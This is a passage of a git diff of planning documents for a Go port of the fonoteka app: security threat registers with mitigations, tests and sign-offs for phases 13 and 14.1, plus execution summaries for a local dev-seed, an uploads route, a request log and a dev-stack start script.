| T-13-22 | Denial of Service / Repudiation | conga unregistered kinds | high | mitigate | `modules/conga` insert-only client for unregistered kinds, `ErrUnregisteredKindQueue` for served queues. `TestUnregisteredKindWithWorker`, `TestJobContractDispatchWhileWorkerRuns`; RC-04 | closed |
|
||||
| T-13-23 | Elevation of Privilege | surf overlap dispatch | high | mitigate | `modules/surf/overlap.go` `familyDispatch`: literals and constraints before dispatch, per-member chains, 404 on no match. `TestOverlappingConstrainedRoutes`, `TestOverlapConstraintFallsThrough`, `TestRouteTablePhase13`; RC-01 to RC-03 | closed |
|
||||
| T-13-24 | Repudiation | tide date and publication masks | medium | mitigate | Each mask checks the masked value's shape. `TestNormalizeContentDispositionDate`, `TestNormalizeNotificationPublication`, `TestNormalizePhase13Edges` | closed |
|
||||
| T-13-25 | Tampering | lagoon prohibited rule | medium | mitigate | Laravel 9 `prohibited` semantics. `TestValidateRequestProhibited`, `TestValidateRequestProhibitedNested`, `FuzzWriteEndpoints` | closed |
|
||||
| T-13-26 | Information Disclosure | php_parity.sh rows and share capture | medium | mitigate | `fonoteka.go/parity/php_parity.sh` `rows` runs `sqlite3 -readonly -safe`; share tokens captured as `{{share:wishlist}}`; `check_corpus --check-secrets` | closed |
|
||||
| T-13-27 | Information Disclosure | invitation inspection | medium | mitigate | `InspectInvitation` reveals the collection name only for a sha256-matched pending token; shared `throttle:10,1`. `TestPhase13Threats/T-13-27`, `TestInspectInvitation` | closed |
|
||||
| T-13-28 | Tampering / Repudiation | item-added and purchase side effects | medium | mitigate | Bell rows, digest upsert (dispatch on insert only) and enqueues on the write transaction; publications after commit. `TestPhase13Threats/T-13-28`, `TestDigestCoalescing`, `TestPurchaseMailAfterCommit`; RC-19 | closed |
|
||||
| T-13-29 | Information Disclosure | subscribe by token | medium | mitigate | `ResolvePublic` kind wishlist plus `subtle.ConstantTimeCompare` of the exact token. `TestPhase13Threats/T-13-29`; RC-07 | closed |
|
||||
| T-13-30 | Information Disclosure | purchase mail job args and logs | medium | mitigate | `WishlistPurchasedMailArgs`: subscriber id and two names only; worker logs the id. `TestPhase13Threats/T-13-30` | closed |
|
||||
| T-13-31 | Repudiation | queued jobs without workers | medium | mitigate | Unserved queues from the 13-01 contract; cancel stops summer_jobs and River rows. `TestPhase13Threats/T-13-31`, `TestCsvJobRows`, `TestCsvCancel` | closed |
|
||||
| T-13-32 | Denial of Service | shared anonymous inline budget | low | accept | PHP parity: one `throttle:10,1` guest key across onboarding, inspection and public resolves. See Accepted Risks Log | closed |
|
||||
| T-13-33 | Elevation of Privilege | public route kind confusion | medium | mitigate | Every public handler passes its route's kind to `ResolvePublic`. `TestPhase13Threats/T-13-33`, `TestPublicResolve` | closed |
|
||||
| T-13-34 | Tampering | gate --removal leaving mutated source | medium | mitigate | `scripts/check-phase13.sh --removal`: dirty-file refusal, anchor-exact mutation, trap restore, `cmp` check; outside `--all`. `--self-test`; RC-31 | closed |
|
||||
| T-13-35 | Repudiation | security review claims without evidence | medium | mitigate | `scripts/check-phase13.sh` `evidence_check`. `--self-test`; RC-30 | closed |
|
||||
| T-13-36 | Information Disclosure | fuzz seed corpus | low | mitigate | Synthetic seeds; `corpus_scan` over `testdata/fuzz`. `--self-test`; RC-29 | closed |
|
||||
| T-13-SC | Tampering | package installs (`golang.org/x/text` v0.42.0) | medium | mitigate | Go-team module already in the graph, pinned by go.sum, approved at the plan-count checkpoint; no other plan adds a dependency. `check-phase13.sh --go`; RC-28 | closed |
|
||||
|
||||
*Status: open · closed · open — below high threshold (non-blocking)*
|
||||
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
|
||||
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
|
||||
|
||||
---
|
||||
|
||||
## Accepted Risks Log
|
||||
|
||||
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|
||||
|---------|------------|-----------|-------------|------|
|
||||
| AR-13-01 | T-13-11 | Phase 13 only stores `base_url`; no outbound call exists until Phase 14, which owns the guarded AI client (INTG-02, fetchguard) | 13-02 plan threat model | 2026-10-03 |
|
||||
| AR-13-02 | T-13-32 | PHP shares one `throttle:10,1` guest key across onboarding, inspection and public resolves; Go mirrors it (`inline:domainless\|ClientIP`) for parity, documented in `parity/README.md` | 13-05 plan threat model | 2026-10-03 |
|
||||
|
||||
*Accepted risks do not resurface in future audit runs.*
|
||||
|
||||
---
|
||||
|
||||
## Audit Note (2026-10-12)
|
||||
|
||||
The 13 findings of `13-REVIEW.md` are all still `open` in `13-REVIEW-DISPOSITION.md`. Two of them touch registered threats:
|
||||
|
||||
- **WR-02 (T-13-17).** Mapping, row-edit and cancel writes bypassed the commit compare-and-swap, which could queue a second import job. The fix landed in Phase 14 (`fonoteka.go` `ce4dd3a`, "fix(14-02): mapping, row edits and cancel lock the CSV import before writing (WR-02)"). The tree now locks the row in `classes/csv_import_service.go`. T-13-17 is closed. The disposition row is stale and can be set to `fixed`.
|
||||
- **WR-04 (T-13-03, T-13-06).** A logged-in user who subscribed with a share token keeps peer read, reserve and notification access after the owner disables or regenerates the share. `ReservableWishlistIDs` does not check the share state. This matches PHP (`AlbumReservationService::reservableWishlistIds`), so it is not a porting defect. Both controls work as planned: anonymous public routes are revoked (T-13-03), and non-subscribers cannot reach the peer routes (T-13-06). The gap is recorded as a residual risk, not an open threat. Closing it would change PHP behaviour and needs a product decision note: either gate the subscription branch on `public_enabled` or add an owner-side "remove subscriber" route.
|
||||
|
||||
The other review findings (WR-01, WR-03, IN-01 to IN-09) are about correctness, robustness and the gate. None of them removes a registered mitigation.
|
||||
|
||||
The per-instance pubfail counter (T-13-01 residual in `13-SECURITY-REVIEW.md`) still applies: N instances allow N × 10 guesses per minute against a token of about 95 bits.
|
||||
|
||||
---
|
||||
|
||||
## Security Audit Trail
|
||||
|
||||
| Audit Date | Threats Total | Closed | Open | Run By |
|
||||
|------------|---------------|--------|------|--------|
|
||||
| 2026-10-03 | 37 | 37 | 0 | 13-06 executor (`13-SECURITY-REVIEW.md`, removal checks RC-01 to RC-31) |
|
||||
| 2026-10-12 | 37 | 37 | 0 | /msd-secure-phase (ASVS L1: mitigation grep at HEAD plus re-run of `TestPhase13Threats` (27 subtests), `TestRouteTablePhase13`, `FuzzWriteEndpoints` and the surf/conga/tide/lagoon threat tests, all passing, no skips; short-circuit, no auditor) |
|
||||
|
||||
---
|
||||
|
||||
## Sign-Off
|
||||
|
||||
- [x] All threats have a disposition (mitigate / accept / transfer)
|
||||
- [x] Accepted risks documented in Accepted Risks Log
|
||||
- [x] `threats_open: 0` confirmed
|
||||
- [x] `status: verified` set in frontmatter
|
||||
|
||||
**Approval:** verified 2026-10-12
|
||||
@@ -0,0 +1,81 @@
|
||||
---
|
||||
phase: "14.1"
|
||||
slug: "oauth-identities-and-fonoteka-me-routes"
|
||||
status: verified
|
||||
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
|
||||
threats_open: 0
|
||||
asvs_level: 1
|
||||
created: "2026-10-12"
|
||||
---
|
||||
|
||||
# Phase 14.1 — Security
|
||||
|
||||
> Per-phase security contract: threat register, accepted risks, and audit trail.
|
||||
|
||||
Implementation lives in the sibling repositories: `fonoteka.go` (host routes, MeToken, parity) and the sm-user-plugin submodule at `fonoteka.go/plugins/golem15/user`. Paths below are relative to `fonoteka.go`.
|
||||
|
||||
---
|
||||
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description | Data Crossing |
|
||||
|----------|-------------|---------------|
|
||||
| JWT client → `/_fonoteka/api/v1/oauth-identities` | Untrusted Bearer and `{provider}` path | Provider list with `linked_at`; must never carry Encrypted tokens or profile_data |
|
||||
| Personal-token client → `/api/v1/fonoteka/me` | Already-matched `inv_` credential | Collection binding and scopes (authorization data) |
|
||||
| Host plugin → sm-user-plugin constructors | Host injects the Winter 404 writer; the plugin does not import the application `api` package | Handler wiring |
|
||||
| Postgres `golem15_user_oauth_identities` | At-rest Encrypted tokens, cascade delete with users | OAuth access/refresh tokens, provider profile JSON (secret) |
|
||||
| Test process → handlers / corpus replay | Tests must not leak secrets; pending must never count as passing | Fixture secrets, parity verdicts |
|
||||
|
||||
---
|
||||
|
||||
## Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|
||||
|-----------|----------|-----------|----------|-------------|------------|--------|
|
||||
| T-14.1-01 | Information Disclosure | OAuthIdentitiesIndex | high | mitigate | Index builds an explicit `{provider, linked_at}` map (`plugins/golem15/user/controllers/oauth_identities.go`); `AccessToken`, `RefreshToken`, `ProfileData` are `json:"-"` and in `Hidden()` (`models/oauth_identity.go`, WR-01 fix cf5c6b9) | closed |
|
||||
| T-14.1-02 | Elevation of Privilege | OAuthIdentitiesDestroy | high | mitigate | Lookup `user_id = ? AND provider = ?` with the caller's principal; `ErrRecordNotFound` goes to the injected WriteNotFound (Winter 404, not 403) | closed |
|
||||
| T-14.1-03 | Elevation of Privilege | OAuthIdentitiesDestroy last-method | high | mitigate | Count of the caller's identities; `n == 1` returns 409 `last_method_blocked`; tested EN/PL and with a password set (`oauth_identities_test.go:101,131`). Residual: count-then-delete is not transactional (review WR-02, open) | closed |
|
||||
| T-14.1-04 | Tampering | OAuthIdentity Fillable | medium | mitigate | `Fillable()` returns `[]string{}`; no `lagoon.Fill` call on this model | closed |
|
||||
| T-14.1-05 | Information Disclosure | Destroy provider allow-list | medium | mitigate | Unknown provider (`!slices.Contains(providers, provider)`) calls the same `writeOAuthIdentityNotFound` as a missing row | closed |
|
||||
| T-14.1-06 | Elevation of Privilege | fonoteka routes.go | high | mitigate | GET/DELETE `/oauth-identities` registered inside the `jwt.auth` group (`plugins/golem15/fonoteka/routes.go:240-246`); token group `/api/v1/fonoteka` unchanged | closed |
|
||||
| T-14.1-07 | Denial of Service | DELETE registration | medium | mitigate | `"throttle:10,1"` on DELETE only (`routes.go:246`), asserted in `phase08_coverage_test.go:655` | closed |
|
||||
| T-14.1-08 | Tampering | Encrypted columns | medium | mitigate | Seed uses `lagoon.NewEncrypted` under the app key (`parity/fonoteka_seed_test.go:705-718`); no Laravel ciphertext imported | closed |
|
||||
| T-14.1-09 | Information Disclosure | oauth_identities_test.go GET | high | mitigate | Index test fails on plaintext, `access_token`, `refresh_token`, `profile_data`, `[redacted]` (`oauth_identities_test.go:221`) | closed |
|
||||
| T-14.1-10 | Information Disclosure | Destroy 404 tests | high | mitigate | `TestOAuthIdentitiesDestroyWinter404BodiesAreByteIdentical`: foreign, missing, unknown bodies byte-equal to the Winter HTML 404 | closed |
|
||||
| T-14.1-11 | Tampering | TestParityCorpus | high | mitigate | `expectedPortedRoutes = 175`, pending checked against `expectedPHPRoutes-expectedPortedRoutes`; `assertPortedMismatch` requires `tide.MismatchError` (`parity/parity_test.go`) | closed |
|
||||
| T-14.1-12 | Elevation of Privilege | phase08 TokenSurfaceIsolation | high | mitigate | `assertRouteSurfaces(..., "/oauth-identities", true, false)` for GET and DELETE (`phase08_coverage_test.go:652-653`) | closed |
|
||||
| T-14.1-SC | Tampering | package installs | high | mitigate | No `go.mod` change in either repository during the phase (summaries: `tech-stack.added: []`) | closed |
|
||||
|
||||
*Status: open · closed · open — below high threshold (non-blocking)*
|
||||
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
|
||||
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
|
||||
|
||||
### Residual notes (non-blocking)
|
||||
|
||||
- **T-14.1-03 / WR-02:** two concurrent DELETEs for different providers by a user with exactly two identities can both read `n == 2` and both delete, leaving zero OAuth identities. Exposure is narrow (same user, near-simultaneous requests, throttled 10/min) and matches the PHP controller's behaviour, but the review finding stays open in `14.1-REVIEW-DISPOSITION.md` until triaged.
|
||||
- **IN-03:** Index `Find` decrypts token columns it never returns; no disclosure, only unnecessary plaintext in memory.
|
||||
|
||||
---
|
||||
|
||||
## Accepted Risks Log
|
||||
|
||||
No accepted risks.
|
||||
|
||||
---
|
||||
|
||||
## Security Audit Trail
|
||||
|
||||
| Audit Date | Threats Total | Closed | Open | Run By |
|
||||
|------------|---------------|--------|------|--------|
|
||||
| 2026-10-12 | 13 | 13 | 0 | /msd-secure-phase (orchestrator, ASVS L1 grep-depth; auditor short-circuited) |
|
||||
|
||||
---
|
||||
|
||||
## Sign-Off
|
||||
|
||||
- [x] All threats have a disposition (mitigate / accept / transfer)
|
||||
- [x] Accepted risks documented in Accepted Risks Log
|
||||
- [x] `threats_open: 0` confirmed
|
||||
- [x] `status: verified` set in frontmatter
|
||||
|
||||
**Approval:** verified 2026-10-12
|
||||
@@ -0,0 +1,229 @@
|
||||
---
|
||||
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
|
||||
plan: 01
|
||||
subsystem: infra
|
||||
tags: [dev-seed, surf, uploads, access-log, slog, console, fonoteka]
|
||||
|
||||
requires:
|
||||
- phase: 14.1
|
||||
provides: fonoteka plugin console commands, classes write services, parity corpus 175/175
|
||||
provides:
|
||||
- fonoteka:dev-seed (local/dev only), idempotent D-02 seed shape with generated PNG covers
|
||||
- console.DevEnvironment and console.DevSeedCommand
|
||||
- fonoteka plugin commands open and publish their own database (G1)
|
||||
- GET /_fonoteka/api/v1/_dev/backend marker, local/dev only, outside the parity manifest
|
||||
- framework config key storage.uploads.serve (uploads route on attach.StaticHandlerPublic, nosniff)
|
||||
- framework config key http.access_log (one redacted "http request" record per request)
|
||||
affects: [14.2-02 start script, 14.2-03 e2e specs, 14.2-04 unit tests, phase 20 cutover]
|
||||
|
||||
actuals:
|
||||
tokens: 15212
|
||||
tasks: 3
|
||||
commits: 3
|
||||
plan_head_before: 3408742fb0e64a57ac3dcaad5a4b31001cffc849
|
||||
plan_head_after: 2d68eab3c0f82b55bf4c7e6f56c46f98b9c124f6
|
||||
fonoteka_head_before: df7876bfa9933fa68d28a2ff3f80b1c33453398c
|
||||
fonoteka_head_after: 464ba475eff0f5282e4c68da53b9eab4b3b688e7
|
||||
fonoteka_commits: 2
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Console command database: published handle, else lagoon.OpenFromApp + lagoon.Publish (OnDatabase hooks run) with a closer"
|
||||
- "Framework opt-in routes resolve published services per request so route:list and boot need no database"
|
||||
- "Request-scoped pointer slot in the context carries the matched route pattern to an outer middleware"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- modules/surf/uploads.go
|
||||
- modules/surf/accesslog.go
|
||||
- modules/surf/accesslog_test.go
|
||||
- .planning/todos/pending/user-plugin-commands-open-database.md
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/database.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/dev_marker.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go
|
||||
modified:
|
||||
- modules/surf/router.go
|
||||
- modules/surf/README.md
|
||||
- docs/services/storage.md
|
||||
- docs/services/logging.md
|
||||
- docs/setup/configuration.md
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/plugin.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/routes.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/reindex.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/oauth_client.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/prune_notifications.go
|
||||
|
||||
key-decisions:
|
||||
- "commandDatabase/commandBucket closers close the handles they opened, so a later command in the same process must not reuse that app; TestDevStackSmoke models seed and serve as separate fresh processes, like the start script"
|
||||
- "The uploads route is owned by plugin id summercms.surf, prefix falls back to /storage/uploads (attach default); a plugin route with the same pattern fails boot as a duplicate"
|
||||
- "Seed output is printed only after the transaction commits, so a failed run prints no created lines"
|
||||
- "With DEV_SEED_API_TOKEN set the seed never prints a secret; an existing row with that hash is reassigned to the seed user and name and un-revoked (api token: updated)"
|
||||
- "An existing rating on the first album is left as it is (keyed by album_id, user_id), even when its value differs from 4"
|
||||
- "Seeded albums are created with name, artist_display, year and format LP only (fields the PHP create form accepts)"
|
||||
|
||||
patterns-established:
|
||||
- "Seed lines: '<entity>: created|updated|unchanged', cover lines append the public URL, token line shows a minted secret only on creation"
|
||||
|
||||
requirements-completed: [QA-05]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "fonoteka:dev-seed seeds user, owned collection as context, three albums with PNG covers, wishlist entry, rating, API token and flips search_use_typesense last, in a fresh process with no published database"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go#TestDevStackSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "Seed is idempotent (rerun prints unchanged, adds no row in users, collections, albums, system_files, ratings, user_api_tokens) and refuses production, development and staging before opening the database"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go#TestDevStackSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "storage.uploads.serve serves a seeded cover from the assembled router: 200 image/png with X-Content-Type-Options: nosniff"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go#TestDevStackSmoke"
|
||||
status: pass
|
||||
- kind: other
|
||||
ref: "go run ./cmd/summer docs:build --check"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "Marker GET /_fonoteka/api/v1/_dev/backend answers 200 with exactly backend/app/env and Cache-Control: no-store in local; parity corpus unchanged"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go#TestDevStackSmoke"
|
||||
status: pass
|
||||
- kind: integration
|
||||
ref: "go -C ../fonoteka.go test ./parity -run TestParityCorpus"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "fonoteka:reindex, fonoteka:oauth-client and fonoteka:prune-notifications use commandDatabase; existing console tests unchanged and passing"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../fonoteka.go/plugins/golem15/fonoteka/console#TestReindexCommand,TestPruneNotifications,TestOAuthClientCommandListPrintsClientIDAndURIsNeverTheSecret"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "http.access_log logs one 'http request' record with method, pattern, status, duration_ms; path without query only for unmatched requests; nothing when off"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/surf/accesslog_test.go#TestAccessLogSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
|
||||
duration: 16min
|
||||
completed: 2026-10-11
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 14.2 Plan 01: Go-side local stack glue Summary
|
||||
|
||||
**A fresh fonoteka process can now seed itself with `fonoteka:dev-seed` (local/dev only, idempotent, PNG covers through StoreAlbumPhoto). The framework serves those covers under the WinterCMS upload URL through the opt-in `storage.uploads.serve` route, the plugin answers a local-only backend marker, the fonoteka commands open their own database, and surf has an opt-in redacted request log (`http.access_log`).**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 16 min
|
||||
- **Started:** 2026-10-11T15:31:28Z
|
||||
- **Completed:** 2026-10-11T15:47:12Z
|
||||
- **Tasks:** 3
|
||||
- **Files modified:** 18 (8 created, 10 modified) across summercms.go and fonoteka.go
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- `fonoteka:dev-seed`: refuses outside `SUMMER_ENV` local/dev before opening anything, then seeds in one `lagoon.Transaction` inside `lighthouse.WithoutBroadcasting[models.Album]`: the user (E2E_EMAIL/E2E_PASSWORD, default demo@example.com/changeme), the owned collection as context, Kind of Blue, Blue Train and Mingus Ah Um with 64x64 PNG covers, the wishlist with A Love Supreme, a rating of 4, the `dev-seed-mcp` token, and `search_use_typesense` flipped last.
|
||||
- `console.commandDatabase` / `commandBucket` (G1): reuse the published handle, else open and publish it. Used by the seed, `fonoteka:reindex`, `fonoteka:oauth-client` and `fonoteka:prune-notifications`.
|
||||
- `GET /_fonoteka/api/v1/_dev/backend` (D-09/D-10): `{"backend":"summercms","app":"fonoteka","env":"local"}`, `Cache-Control: no-store`, `throttle:60,1`, registered only in local/dev, not in the manifest.
|
||||
- Framework `storage.uploads.serve` (D-19): `GET {public_path_prefix}/{path...}` on `attach.StaticHandlerPublic` with nosniff, documented in the surf README, docs/services/storage.md and docs/setup/configuration.md.
|
||||
- Framework `http.access_log` (D-12): one Info `http request` record per request, documented in the surf README, docs/services/logging.md (new "Request log" section) and docs/setup/configuration.md.
|
||||
- Planning todo for the same database gap in the shared sm-user-plugin (not modified).
|
||||
|
||||
## Seed output (TestDevStackSmoke)
|
||||
|
||||
First run:
|
||||
|
||||
```
|
||||
user: created
|
||||
collection: created
|
||||
album Kind of Blue: created
|
||||
cover Kind of Blue: created /storage/app/uploads/public/25d/b37/451/25db37451a4705c659ecfb.png
|
||||
album Blue Train: created
|
||||
cover Blue Train: created /storage/app/uploads/public/16f/a0b/4b0/16fa0b4b09666aeca51b6c.png
|
||||
album Mingus Ah Um: created
|
||||
cover Mingus Ah Um: created /storage/app/uploads/public/940/b2b/d6a/940b2bd6a1cb2b3d7d4ba4.png
|
||||
wishlist: created
|
||||
wishlist album A Love Supreme: created
|
||||
rating Kind of Blue: created
|
||||
api token: created inv_<secret> (shown once)
|
||||
search: created
|
||||
```
|
||||
|
||||
The second run prints the same 13 lines with `unchanged`; the cover lines keep the same URLs and the token line reads `api token: unchanged (secret not shown)`. A third run with a different `E2E_PASSWORD` prints `user: updated` and 12 `unchanged` lines.
|
||||
|
||||
Parity: `recorded 175/175 passing 175 failing 0 unrecorded 0 pending 0`.
|
||||
|
||||
## Task Commits
|
||||
|
||||
1. **Task 1 (tracer): seeded cover served end to end**
|
||||
- summercms.go `0b6d757` feat(14.2-01): opt-in storage.uploads.serve route for public uploads
|
||||
- fonoteka.go `89b703a` feat(14.2-01): fonoteka:dev-seed with a served cover in a fresh process
|
||||
- Tracer gate: verify re-run passed (automated only, end-of-phase mode), then expanded.
|
||||
2. **Task 2: full seed shape, marker, commands open their database**
|
||||
- fonoteka.go `464ba47` feat(14.2-01): full dev-seed shape, local backend marker, commands open their database
|
||||
- summercms.go `ad1fa5a` docs(14.2-01): todo for sm-user-plugin commands that need a published database
|
||||
3. **Task 3: opt-in request log**
|
||||
- summercms.go `2d68eab` feat(14.2-01): opt-in http.access_log request log in surf
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `modules/surf/uploads.go`: `mountUploads`, per-request bucket/DB lookup, nosniff
|
||||
- `modules/surf/accesslog.go`: `accessLog`, `recordPattern`, `statusRecorder` (Flush/Unwrap kept)
|
||||
- `modules/surf/accesslog_test.go`: `TestAccessLogSmoke` (acme.blog fixture)
|
||||
- `modules/surf/router.go`: `mountUploads` after the plugin route loop; access log wrap in `compile`; `recordPattern` outermost in `wrap`
|
||||
- `modules/surf/README.md`, `docs/services/storage.md`, `docs/services/logging.md`, `docs/setup/configuration.md`: both keys documented
|
||||
- `fonoteka.go/plugins/golem15/fonoteka/console/{database,dev_seed}.go`: helpers and the seed
|
||||
- `fonoteka.go/plugins/golem15/fonoteka/console/{reindex,oauth_client,prune_notifications}.go`: `commandDatabase`
|
||||
- `fonoteka.go/plugins/golem15/fonoteka/{dev_marker,routes,plugin}.go`: marker and command registration
|
||||
- `fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go`: `TestDevStackSmoke`
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See `key-decisions` in the frontmatter. The main one is that the command closers close what they opened. A process that ran the seed therefore must not serve from the same app, so the smoke test models migrate, seed and serve as three fresh processes, which is what the plan 02 start script does.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
1. **[Rule 2 - Missing coverage] Refusal and password-change checks added to TestDevStackSmoke.** The plan put the production-refusal test in plan 04, but threat T-14.2-01 cites TestDevStackSmoke for this plan. The smoke test now checks that an unset SUMMER_ENV, `development` and `staging` are refused and that no database gets published. It also checks that a changed `E2E_PASSWORD` prints `user: updated`. Files: dev_stack_smoke_test.go. Commit: 464ba47.
|
||||
2. **[Rule 1 - Test isolation] The smoke test restores `search_use_typesense`.** The seed flips the shared container's settings row, so `keepSearchSetting` makes sure row 1 exists with the flag off and restores its earlier state when the test ends. Without it, later tests in the package would run with search on. Commit: 464ba47.
|
||||
3. **Mid-plan in-progress SUMMARY skipped.** The context was well under half after Task 2, so Task 3 ran in the same executor and only this final SUMMARY was written. No committed artifact is affected.
|
||||
|
||||
**Total deviations:** 2 auto-fixed (1 missing coverage, 1 test isolation), 1 procedural. **Impact:** no scope change. The production code follows the plan.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
None. Pre-existing gofmt drift in `fonoteka.go/plugins/golem15/fonoteka/household_smoke_test.go` was left alone (out of scope).
|
||||
|
||||
## Verification
|
||||
|
||||
- summercms.go: `go vet ./...` clean, `go test -short ./...` and full `go test ./...` (Docker) green (38 packages), `TestDocsTree` and `docs:build --check` print no problems.
|
||||
- fonoteka.go: `go vet ./...` clean, `go test ./plugins/golem15/fonoteka/... -count=1` green (10 packages), `TestParityCorpus` 175/175/0.
|
||||
- `git -C ../fonoteka.go status --porcelain` shows only the existing submodule pointer drift (feedback, golem, user), with nothing staged. `plugins/golem15/user` has a clean worktree. `_dev/backend` does not appear in `parity/manifest.yaml`.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
Plan 02's start script can run `migrate`, `fonoteka:dev-seed`, `fonoteka:reindex` and `serve --addr 127.0.0.1:8423` with `SUMMER_ENV=local`, `SUMMER_STORAGE__UPLOADS__SERVE=true` and `SUMMER_HTTP__ACCESS_LOG=true`, and can probe the marker. `/storage/app/uploads/public/` should be added to `fonoteka.go/.gitignore` (G11, plan 02 scope) before seeding with the real config.
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
All 8 created files are present. Commits 0b6d757, ad1fa5a and 2d68eab exist in summercms.go, and 89b703a and 464ba47 exist in fonoteka.go.
|
||||
@@ -0,0 +1,189 @@
|
||||
---
|
||||
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
|
||||
plan: 02
|
||||
subsystem: infra
|
||||
tags: [dev-stack, bash, nuxt, playwright, centrifugo, typesense, fonoteka]
|
||||
|
||||
requires:
|
||||
- phase: 14.2-01
|
||||
provides: fonoteka:dev-seed, the local backend marker, storage.uploads.serve, http.access_log
|
||||
provides:
|
||||
- fonoteka.go/scripts/dev-stack.sh with up [--detach], down, status, check, guard, exec, e2e [--report-only], e2e-verdict, help
|
||||
- fonoteka.go/.env.dev.example (placeholders only) and .gitignore entries for /.env.dev and /storage/app/uploads/public/
|
||||
- app config defaults storage.uploads.serve false and access_log false
|
||||
- README section "Running locally with the Nuxt app"
|
||||
affects: [14.2-03 e2e specs via dev-stack.sh e2e, 14.2-04 gate (--guard, --self-test, --e2e), phase 20 cutover (fileblob TMPDIR)]
|
||||
|
||||
actuals:
|
||||
tokens: 10960
|
||||
tasks: 4
|
||||
commits: 3
|
||||
plan_head_before: 5c75b316a71ec876cd64c46a5205a163ca4f39dc
|
||||
plan_head_after: 5c75b316a71ec876cd64c46a5205a163ca4f39dc
|
||||
fonoteka_head_before: 464ba475eff0f5282e4c68da53b9eab4b3b688e7
|
||||
fonoteka_head_after: b5363ea99e12b50dc6238438dd3aa60288f08c1e
|
||||
fonoteka_commits: 3
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Env file parsed as KEY=value data (no source), values never printed; missing keys named only"
|
||||
- "Each child runs under setsid as its own process group, recorded in tmp/dev-stack/pids; EXIT trap stops what this run started"
|
||||
- "Centrifugo API key on curl's stdin (-H @-), never argv; probes are read-only (info, history)"
|
||||
- "flock on tmp/dev-stack/up.lock serialises up; launched children close the lock fd"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../fonoteka.go/scripts/dev-stack.sh
|
||||
- ../fonoteka.go/.env.dev.example
|
||||
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/deferred-items.md
|
||||
modified:
|
||||
- ../fonoteka.go/.gitignore
|
||||
- ../fonoteka.go/config/storage.yaml
|
||||
- ../fonoteka.go/config/http.yaml
|
||||
- ../fonoteka.go/README.md
|
||||
|
||||
key-decisions:
|
||||
- "The Go processes run with TMPDIR=tmp/dev-stack/go-tmp: gocloud fileblob renames uploads in from os.TempDir(), which fails across devices when /tmp is a tmpfs (deferred to Phase 20 for deployments)"
|
||||
- "The env file is parsed as data instead of sourced, so nothing in it runs as shell code"
|
||||
- "pnpm dev gets the NUXT_* values on its process only; SUMMER_* secrets and DEV_SEED_API_TOKEN are removed from its environment"
|
||||
- "up refuses up front when the Nuxt checkout's .nuxt, node_modules/.cache or node_modules/.vite are not writable by the current user"
|
||||
- "e2e requires a running stack (marker through :3119) and passes the guard before Playwright; it never lets Playwright start its own Nuxt"
|
||||
- "e2e-verdict also refuses a report it cannot parse or that is missing"
|
||||
|
||||
requirements-completed: [QA-05]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "up --detach on the real machine: preflight, build, migrate, dev-seed, reindex, Go on 127.0.0.1:8423, guard, Nuxt on :3119, probe (marker, 401, seeded cover image/png through Nuxt); down stops both"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: integration
|
||||
